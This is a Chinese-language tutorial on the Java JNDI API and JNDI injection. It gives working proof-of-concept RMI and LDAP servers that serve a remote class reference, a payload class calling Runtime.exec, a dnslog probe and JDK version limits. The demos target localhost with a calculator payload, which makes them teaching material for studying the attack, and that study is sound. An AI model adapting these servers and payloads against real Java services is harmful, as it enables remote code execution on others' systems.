JNDI简介
JNDI(Java Naming and Directory Interface)是一个应用程序设计的 API,一种标准的 Java 命名系统接口。JNDI 提供统一的客户端 API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将 JNDI API 映射为特定的命名服务和目录系统,使得 Java 应用程序可以和这些命名服务和目录服务之间进行交互。
通俗来说,程序可用使用JNDI来实现访问系统的命令服务和目录服务
JDNI简单使用示例
资源查找
通过 JNDI 查找特定的资源(如数据库、JMS 队列、远程对象等)。
1 2
| Context ctx = new InitialContext(); DataSource ds = (DataSource) ctx.lookup("java:comp/env/jdbc/MyDB");
|
资源绑定
将对象绑定到命名服务。
1
| ctx.bind("java:comp/env/MyResource", myObject);
|
资源重新绑定
覆盖已有的绑定。
1
| ctx.rebind("java:comp/env/MyResource", newObject);
|
资源解绑
从命名服务中移除绑定。
1
| ctx.unbind("java:comp/env/MyResource");
|
列出资源
列出命名空间中的所有资源。
1
| NamingEnumeration<NameClassPair> list = ctx.list("java:comp/env");
|
JNDI中的协议
- LDAP:轻量级目录访问协议,约定了 Client 与 Server 之间的信息交互格式、使用的端口号、认证方式等内容
- RMI:JAVA 远程方法协议,该协议用于远程调用应用程序编程接口,使客户机上运行的程序可以调用远程服务器上的对象
- DNS:域名服务
- CORBA:公共对象请求代理体系结构
JNDI注入
注入原理
通过上面的示例可用看到,开发者会使用lookup来获取uri,当该函数的参数可控时,攻击者可用将恶意的url传入参数远程加载恶意载荷,造成注入攻击。
代码示例
1 2 3 4 5 6 7 8 9 10 11
| import javax.naming.InitialContext; import javax.naming.NamingException;
public class jndi { public static void main(String[] args) throws NamingException { String uri = "rmi://127.0.0.1:1099/Exploit"; InitialContext initialContext = new InitialContext(); initialContext.lookup(uri);
} }
|
上述uri为攻击者控制的链接,lookup()函数远程获取Exploit类(具体是什么内容由攻击者定义),并执行
版本限制
协议 |
JDK6 |
JDK7 |
JDK8 |
JDK11 |
LADP |
6u211以下 |
7u201以下 |
8u191以下 |
11.0.1以下 |
RMI |
6u132以下 |
7u122以下 |
8u113以下 |
无 |
漏洞示例
JNDI+RMI
客户端代码,此代码加载远程7778端口的RCE类
1 2 3 4 5 6 7 8 9 10 11
| package jndi_rmi_injection;
import javax.naming.InitialContext; import javax.naming.NamingException; public class RMIClient { public static void main(String[] args) throws NamingException{ String uri = "rmi://127.0.0.1:10010/RCE"; InitialContext initialContext = new InitialContext(); initialContext.lookup(uri); } }
|
服务端代码,此代码通过RMI注册一个Reference对象(此类是java核心类,它表示一个引用对象,可以被远程加载),引用远程8081端口的Calculator类(需要将.java文件编译为.class再开启HTTP服务)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| package jndi_rmi_injection;
import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import javax.naming.Reference; import com.sun.jndi.rmi.registry.ReferenceWrapper;
public class RMIServer { public static void main(String[] args) throws Exception{ Registry registry = LocateRegistry.createRegistry(10010); Reference reference = new Reference("Calculator","Calculator","http://127.0.0.1:8081/"); ReferenceWrapper wrapper = new ReferenceWrapper(reference); registry.bind("RCE",wrapper); }
}
|
服务端代码
1 2 3 4 5
| public class Calculator { public Calculator() throws Exception { Runtime.getRuntime().exec("calc"); } }
|
流程:编译Calculator类 -> 8081端口开启HTTP服务 -> 执行服务端代码 -> 执行客户端代码
JNDI+LDAP
客户端
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| package jndi_ldap_injection;
import javax.naming.InitialContext; import javax.naming.NamingException;
public class LDAPClient { public static void main(String[] args) throws NamingException{ String url = "ldap://127.0.0.1:1234/Calculator"; InitialContext initialContext = new InitialContext(); initialContext.lookup(url); }
}
|
服务端
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98
| package jndi_ldap_injection; import java.net.InetAddress; import java.net.MalformedURLException; import java.net.URL; import javax.net.ServerSocketFactory; import javax.net.SocketFactory; import javax.net.ssl.SSLSocketFactory; import com.unboundid.ldap.listener.InMemoryDirectoryServer; import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; import com.unboundid.ldap.listener.InMemoryListenerConfig; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPException; import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ResultCode;
public class LDAPServer { private static final String LDAP_BASE = "dc=example,dc=com";
public static void main (String[] args) {
String url = "http://127.0.0.1:8081/#Calculator"; int port = 1234;
try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig( "listen", InetAddress.getByName("0.0.0.0"), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); System.out.println("Listening on 0.0.0.0:" + port); ds.startListening();
} catch ( Exception e ) { e.printStackTrace(); } }
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) { this.codebase = cb; }
@Override public void processSearchResult ( InMemoryInterceptedSearchResult result ) { String base = result.getRequest().getBaseDN(); Entry e = new Entry(base); try { sendResult(result, base, e); } catch ( Exception e1 ) { e1.printStackTrace(); }
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException { URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class")); System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); e.addAttribute("javaClassName", "Exploit"); String cbstring = this.codebase.toString(); int refPos = cbstring.indexOf('#'); if ( refPos > 0 ) { cbstring = cbstring.substring(0, refPos); } e.addAttribute("javaCodeBase", cbstring); e.addAttribute("objectClass", "javaNamingReference"); e.addAttribute("javaFactory", this.codebase.getRef()); result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); }
} }
|
服务端
1 2 3 4 5
| public class Calculator { public Calculator() throws Exception { Runtime.getRuntime().exec("calc"); } }
|
DNS
不需要服务端
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| package jndi_ldap_injection;
import javax.naming.InitialContext; import javax.naming.NamingException;
public class LDAPClient { public static void main(String[] args) throws NamingException{ String url = "dns://192rzl.dnslog.cn"; InitialContext initialContext = new InitialContext(); initialContext.lookup(url); }
}
|
参考文章
https://xz.aliyun.com/t/12277